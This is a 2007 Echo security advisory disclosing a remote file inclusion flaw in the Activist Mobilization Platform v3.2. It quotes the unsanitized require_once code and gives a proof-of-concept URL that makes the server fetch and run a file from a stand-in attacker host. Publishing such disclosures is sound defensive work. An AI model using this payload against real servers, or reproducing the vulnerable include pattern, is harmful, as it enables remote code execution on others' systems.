Echo Security Advisory 2007.71

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ECHO_ADV_71$2007  
  
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[ECHO_ADV_71$2007] AMP v3.2 (base_path) Remote File Inclusion Vulnerability  
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Author : Dedi Dwianto a.k.a the_day  
Date Found : March, 13th 2007  
Location : Indonesia, Jakarta  
web : http://advisories.echo.or.id/adv/adv71-theday-2007.txt  
Critical Lvl : Highly critical  
Impact : System access  
Where : From Remote  
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Affected software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Application : Activist Mobilization Platform (AMP )  
version : v3.2   
URL : http://www.radicaldesigns.org  
  
AMP is completely dynamic suite of content management tools designed with the small  
non profit organization,grants roots coalition,political campaign or mass mobilization in mind.  
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Vulnerability:  
~~~~~~~~~~~~~  
  
- Invalid require_once function at includes/base.php  
-----------------------includes/base.php------------  
....  
<?php  
require_once($base_path."includes/base_db.php");  
require_once($base_path."includes/base_template.php");  
?>  
  
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Input passed to the "$base_path." parameter in base.php is not  
properly verified before being used. This can be exploited to execute  
arbitrary PHP code by including files from local or external  
resources.  
  
  
  
Proof Of Concept:  
~~~~~~~~~~~~~~  
  
http://localhost/amp-3.2/includes/base.php?base_path=http://atacker.com/inject.txt?  
  
  
Solution:  
~~~~~~  
  
- Sanitize variable $base_path affected files.  
- Turn off register_globals  
- Upgrade to Lastest Version  
  
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Shoutz:  
~~  
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous  
~ Jessy Nice Girl  
~ az001,bomm_3x,matdhule,angelia  
~ [email protected]  
~ #aikmel - #e-c-h-o @irc.dal.net  
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---  
Contact:  
~~~  
EcHo Research & Development Center  
http://advisories.echo.or.id  
erdc[at]echo[dot]or[dot]id  
the_day[at]echo[dot]or[dot]id  
  
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